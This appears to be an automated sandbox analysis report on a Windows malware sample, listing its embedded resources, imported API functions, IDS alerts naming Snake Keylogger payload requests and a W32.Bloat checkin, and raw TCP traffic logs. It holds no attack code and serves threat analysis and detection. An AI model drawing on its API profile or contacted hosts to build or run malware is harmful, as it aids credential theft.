RT_STRING	0xb700c	0x3f8	data			0.37598425196850394
RT_STRING	0xb7404	0x378	data			0.41103603603603606
RT_STRING	0xb777c	0x380	data			0.35379464285714285
RT_STRING	0xb7afc	0x374	data			0.4061085972850679
RT_STRING	0xb7e70	0xe0	data			0.5535714285714286
RT_STRING	0xb7f50	0xbc	data			0.526595744680851
RT_STRING	0xb800c	0x368	data			0.40940366972477066
RT_STRING	0xb8374	0x3fc	data			0.34901960784313724
RT_STRING	0xb8770	0x2fc	data			0.36649214659685864
RT_STRING	0xb8a6c	0x354	data			0.31572769953051644
RT_RCDATA	0xb8dc0	0x44	data			0.8676470588235294
RT_RCDATA	0xb8e04	0x10	data			1.5
RT_RCDATA	0xb8e14	0xc5a18	PE32 executable (GUI) Intel 80386, for MS Windows			0.7282494292745115
RT_RCDATA	0x17e82c	0x3	ASCII text, with no line terminators	Turkish	Turkey	3.6666666666666665
RT_RCDATA	0x17e830	0x3c00	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows	Turkish	Turkey	0.54296875
RT_RCDATA	0x182430	0x64c	data			0.5998759305210918
RT_RCDATA	0x182a7c	0x153	Delphi compiled form 'TFormVir'			0.7522123893805309
RT_RCDATA	0x182bd0	0x47d3	Microsoft Excel 2007+	Turkish	Turkey	0.8675150921846957
RT_GROUP_CURSOR	0x1873a4	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0x1873b8	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0x1873cc	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x1873e0	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x1873f4	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x187408	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x18741c	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_ICON	0x187430	0x14	data	Turkish	Turkey	1.1
RT_VERSION	0x187444	0x304	data	Turkish	Turkey	0.42875647668393785

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetTickCount, QueryPerformanceCounter, GetVersion, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, SetCurrentDirectoryA, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLastError, GetCurrentDirectoryA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, ExitThread, CreateThread, WriteFile, UnhandledExceptionFilter, SetFilePointer, SetEndOfFile, RtlUnwind, ReadFile, RaiseException, GetStdHandle, GetFileSize, GetFileType, CreateFileA, CloseHandle
user32.dll	GetKeyboardType, LoadStringA, MessageBoxA, CharNextA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
advapi32.dll	RegSetValueExA, RegQueryValueExA, RegOpenKeyExA, RegNotifyChangeKeyValue, RegFlushKey, RegDeleteValueA, RegCreateKeyExA, RegCloseKey, OpenProcessToken, LookupPrivilegeValueA, GetUserNameA, AdjustTokenPrivileges
kernel32.dll	lstrcpyA, WritePrivateProfileStringA, WriteFile, WaitForSingleObject, WaitForMultipleObjects, VirtualQuery, VirtualAlloc, UpdateResourceA, UnmapViewOfFile, TerminateProcess, Sleep, SizeofResource, SetThreadLocale, SetFilePointer, SetFileAttributesA, SetEvent, SetErrorMode, SetEndOfFile, ResumeThread, ResetEvent, RemoveDirectoryA, ReadFile, OpenProcess, OpenMutexA, MultiByteToWideChar, MulDiv, MoveFileA, MapViewOfFile, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalReAlloc, GlobalHandle, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetTimeZoneInformation, GetTickCount, GetThreadLocale, GetTempPathA, GetTempFileNameA, GetSystemInfo, GetSystemDirectoryA, GetStringTypeExA, GetStdHandle, GetProcAddress, GetPrivateProfileStringA, GetModuleHandleA, GetModuleFileNameA, GetLogicalDrives, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetFileSize, GetFileAttributesA, GetExitCodeThread, GetDriveTypeA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCurrentProcess, GetComputerNameA, GetCPInfo, GetACP, FreeResource, InterlockedIncrement, InterlockedExchange, InterlockedDecrement, FreeLibrary, FormatMessageA, FindResourceA, FindNextFileA, FindFirstFileA, FindClose, FileTimeToLocalFileTime, FileTimeToDosDateTime, EnumCalendarInfoA, EnterCriticalSection, EndUpdateResourceA, DeleteFileA, DeleteCriticalSection, CreateThread, CreateProcessA, CreatePipe, CreateMutexA, CreateFileMappingA, CreateFileA, CreateEventA, CreateDirectoryA, CopyFileA, CompareStringA, CloseHandle, BeginUpdateResourceA
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, RectVisible, RealizePalette, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, BitBlt
user32.dll	CreateWindowExA, WindowFromPoint, WinHelpA, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, ToAsciiEx, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCursor, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageA, OffsetRect, OemToCharA, MsgWaitForMultipleObjects, MessageBoxA, MapWindowPoints, MapVirtualKeyExA, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextLengthA, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassNameA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharUpperBuffA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
ole32.dll	CLSIDFromString
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopyInd, VariantCopy, VariantClear, VariantInit
ole32.dll	CLSIDFromProgID, CoCreateInstance, CoUninitialize, CoInitialize
oleaut32.dll	GetErrorInfo, SysFreeString
comctl32.dll	ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_SetDragCursorImage, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_ReplaceIcon, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create
shell32.dll	ShellExecuteExA, ExtractIconExW
wininet.dll	InternetGetConnectedState, InternetReadFile, InternetOpenUrlA, InternetOpenA, InternetCloseHandle
shell32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHGetMalloc, SHGetDesktopFolder
advapi32.dll	OpenSCManagerA, CloseServiceHandle
wsock32.dll	WSACleanup, WSAStartup, gethostname, gethostbyname, inet_ntoa
netapi32.dll	Netbios

Possible Origin

Language of compilation system	Country where language is spoken	Map
Turkish	Turkey

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-02T20:28:14.959059+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.6	49726	142.250.185.78	443	TCP
2025-01-02T20:28:15.034247+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.6	49727	142.250.185.78	443	TCP
2025-01-02T20:28:15.415967+0100	2832617	ETPRO MALWARE W32.Bloat-A Checkin	1	192.168.2.6	49735	69.42.215.252	80	TCP
2025-01-02T20:28:15.976523+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.6	49736	142.250.185.78	443	TCP
2025-01-02T20:28:16.256076+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.6	49739	142.250.185.78	443	TCP
2025-01-02T20:28:17.088993+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.6	49747	142.250.185.78	443	TCP
2025-01-02T20:28:17.341759+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.6	49748	142.250.185.78	443	TCP
2025-01-02T20:28:18.176329+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.6	49759	142.250.185.78	443	TCP
2025-01-02T20:28:18.473419+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.6	49765	142.250.185.78	443	TCP
2025-01-02T20:28:19.652784+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.6	49779	142.250.185.78	443	TCP
2025-01-02T20:28:19.768763+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.6	49780	142.250.185.78	443	TCP
2025-01-02T20:28:20.865876+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.6	49789	142.250.185.78	443	TCP
2025-01-02T20:28:20.870409+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.6	49794	142.250.185.78	443	TCP
2025-01-02T20:28:22.182615+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.6	49803	142.250.185.78	443	TCP
2025-01-02T20:28:22.182623+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.6	49805	142.250.185.78	443	TCP
2025-01-02T20:28:23.708353+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.6	49824	142.250.185.78	443	TCP
2025-01-02T20:28:23.823423+0100	2044887	ET MALWARE Snake Keylogger Payload Request (GET)	1	192.168.2.6	49823	142.250.185.78	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 2, 2025 20:28:13.918112993 CET	49726	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:13.918159008 CET	443	49726	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:13.918246031 CET	49726	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:13.927931070 CET	49726	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:13.927953959 CET	443	49726	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:13.948100090 CET	49727	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:13.948138952 CET	443	49727	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:13.948250055 CET	49727	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:13.948647022 CET	49727	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:13.948662996 CET	443	49727	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:14.583693027 CET	443	49726	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:14.583766937 CET	49726	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:14.584456921 CET	443	49726	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:14.584527969 CET	49726	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:14.586069107 CET	443	49727	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:14.586160898 CET	49727	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:14.586827993 CET	443	49727	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:14.586908102 CET	49727	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:14.634854078 CET	49726	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:14.634875059 CET	443	49726	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:14.634916067 CET	49727	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:14.634969950 CET	443	49727	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:14.635278940 CET	443	49727	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:14.635354042 CET	443	49726	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:14.635428905 CET	49726	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:14.635438919 CET	49727	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:14.637701035 CET	49727	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:14.637790918 CET	49726	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:14.679333925 CET	443	49727	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:14.679339886 CET	443	49726	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:14.788088083 CET	49735	80	192.168.2.6	69.42.215.252
Jan 2, 2025 20:28:14.793004990 CET	80	49735	69.42.215.252	192.168.2.6
Jan 2, 2025 20:28:14.793088913 CET	49735	80	192.168.2.6	69.42.215.252
Jan 2, 2025 20:28:14.793260098 CET	49735	80	192.168.2.6	69.42.215.252
Jan 2, 2025 20:28:14.798037052 CET	80	49735	69.42.215.252	192.168.2.6
Jan 2, 2025 20:28:14.959048033 CET	443	49726	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:14.959122896 CET	49726	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:14.959134102 CET	443	49726	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:14.959194899 CET	49726	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:14.959279060 CET	49726	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:14.959309101 CET	443	49726	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:14.959470034 CET	443	49726	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:14.959500074 CET	49726	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:14.959553957 CET	49726	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:14.960233927 CET	49736	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:14.960280895 CET	443	49736	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:14.960407019 CET	49736	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:14.960695982 CET	49736	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:14.960711002 CET	443	49736	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:14.970479965 CET	49737	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:14.970520020 CET	443	49737	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:14.970669031 CET	49737	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:14.971040010 CET	49737	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:14.971054077 CET	443	49737	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:15.034257889 CET	443	49727	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:15.034390926 CET	49727	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:15.034436941 CET	443	49727	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:15.034496069 CET	49727	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:15.034537077 CET	443	49727	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:15.034581900 CET	49727	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:15.034584045 CET	443	49727	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:15.034836054 CET	49727	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:15.036097050 CET	49727	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:15.036156893 CET	443	49727	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:15.037108898 CET	49738	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:15.037158966 CET	443	49738	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:15.037292004 CET	49738	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:15.037437916 CET	49739	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:15.037446976 CET	443	49739	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:15.037532091 CET	49739	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:15.038252115 CET	49739	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:15.038264990 CET	443	49739	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:15.038817883 CET	49738	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:15.038826942 CET	443	49738	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:15.415700912 CET	80	49735	69.42.215.252	192.168.2.6
Jan 2, 2025 20:28:15.415966988 CET	49735	80	192.168.2.6	69.42.215.252
Jan 2, 2025 20:28:15.590661049 CET	443	49736	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:15.591005087 CET	49736	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:15.591447115 CET	49736	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:15.591459036 CET	443	49736	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:15.593735933 CET	49736	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:15.593743086 CET	443	49736	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:15.655944109 CET	443	49737	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:15.656064034 CET	49737	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:15.660515070 CET	49737	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:15.660536051 CET	443	49737	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:15.660937071 CET	443	49737	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:15.661001921 CET	49737	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:15.661464930 CET	49737	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:15.686618090 CET	443	49739	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:15.686702013 CET	49739	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:15.687201023 CET	49739	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:15.687211037 CET	443	49739	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:15.689393997 CET	443	49738	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:15.689466953 CET	49738	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:15.707329988 CET	443	49737	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:15.854811907 CET	49738	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:15.854851961 CET	443	49738	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:15.855199099 CET	443	49738	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:15.855253935 CET	49738	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:15.857136011 CET	49738	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:15.857800961 CET	49739	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:15.857808113 CET	443	49739	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:15.903343916 CET	443	49738	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:15.976519108 CET	443	49736	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:15.976583958 CET	49736	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:15.976737022 CET	49736	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:15.976772070 CET	443	49736	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:15.976963043 CET	443	49736	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:15.976974964 CET	49736	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:15.977004051 CET	49736	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:15.977632046 CET	49747	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:15.977659941 CET	443	49747	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:15.977719069 CET	49747	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:15.978086948 CET	49747	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:15.978096008 CET	443	49747	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:16.067202091 CET	443	49737	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:16.067248106 CET	443	49737	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:16.067353010 CET	443	49737	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:16.067447901 CET	49737	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:16.213363886 CET	443	49738	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:16.213419914 CET	443	49738	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:16.213478088 CET	49738	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:16.213495016 CET	443	49738	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:16.213517904 CET	49738	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:16.213546991 CET	49738	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:16.213886976 CET	443	49738	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:16.213936090 CET	443	49738	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:16.214904070 CET	49738	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:16.256083965 CET	443	49739	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:16.256501913 CET	443	49739	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:16.257055044 CET	49739	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:16.321091890 CET	49739	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:16.321135998 CET	443	49739	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:16.322247028 CET	49748	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:16.322298050 CET	443	49748	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:16.322926044 CET	49748	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:16.325273037 CET	49748	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:16.325288057 CET	443	49748	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:16.354409933 CET	49738	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:16.354454041 CET	443	49738	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:16.363841057 CET	49749	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:16.363888025 CET	443	49749	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:16.363951921 CET	49749	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:16.364171028 CET	49749	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:16.364180088 CET	443	49749	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:16.364409924 CET	49737	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:16.364429951 CET	443	49737	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:16.371155977 CET	49751	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:16.371169090 CET	443	49751	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:16.371222019 CET	49751	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:16.380697012 CET	49751	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:16.380707026 CET	443	49751	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:16.607614994 CET	443	49747	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:16.607714891 CET	49747	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:16.608412027 CET	443	49747	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:16.608465910 CET	49747	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:16.614085913 CET	49747	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:16.614111900 CET	443	49747	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:16.614492893 CET	443	49747	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:16.614562988 CET	49747	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:16.615236998 CET	49747	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:16.655330896 CET	443	49747	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:16.952753067 CET	443	49748	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:16.952820063 CET	49748	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:16.953483105 CET	443	49748	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:16.953531981 CET	49748	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:16.957968950 CET	49748	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:16.957981110 CET	443	49748	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:16.958210945 CET	443	49748	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:16.958262920 CET	49748	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:16.958673000 CET	49748	443	192.168.2.6	142.250.185.78
Jan 2, 2025 20:28:17.003331900 CET	443	49748	142.250.185.78	192.168.2.6
Jan 2, 2025 20:28:17.036503077 CET	443	49751	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:17.036576986 CET	49751	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:17.037209988 CET	49751	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:17.037219048 CET	443	49751	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:17.037311077 CET	49751	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:17.037314892 CET	443	49751	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:17.044614077 CET	443	49749	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:17.044682026 CET	49749	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:17.045176983 CET	49749	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:17.045187950 CET	443	49749	142.250.185.65	192.168.2.6
Jan 2, 2025 20:28:17.045351982 CET	49749	443	192.168.2.6	142.250.185.65
Jan 2, 2025 20:28:17.045363903 CET	443	49749	142.250.185.65	192.168.2.6
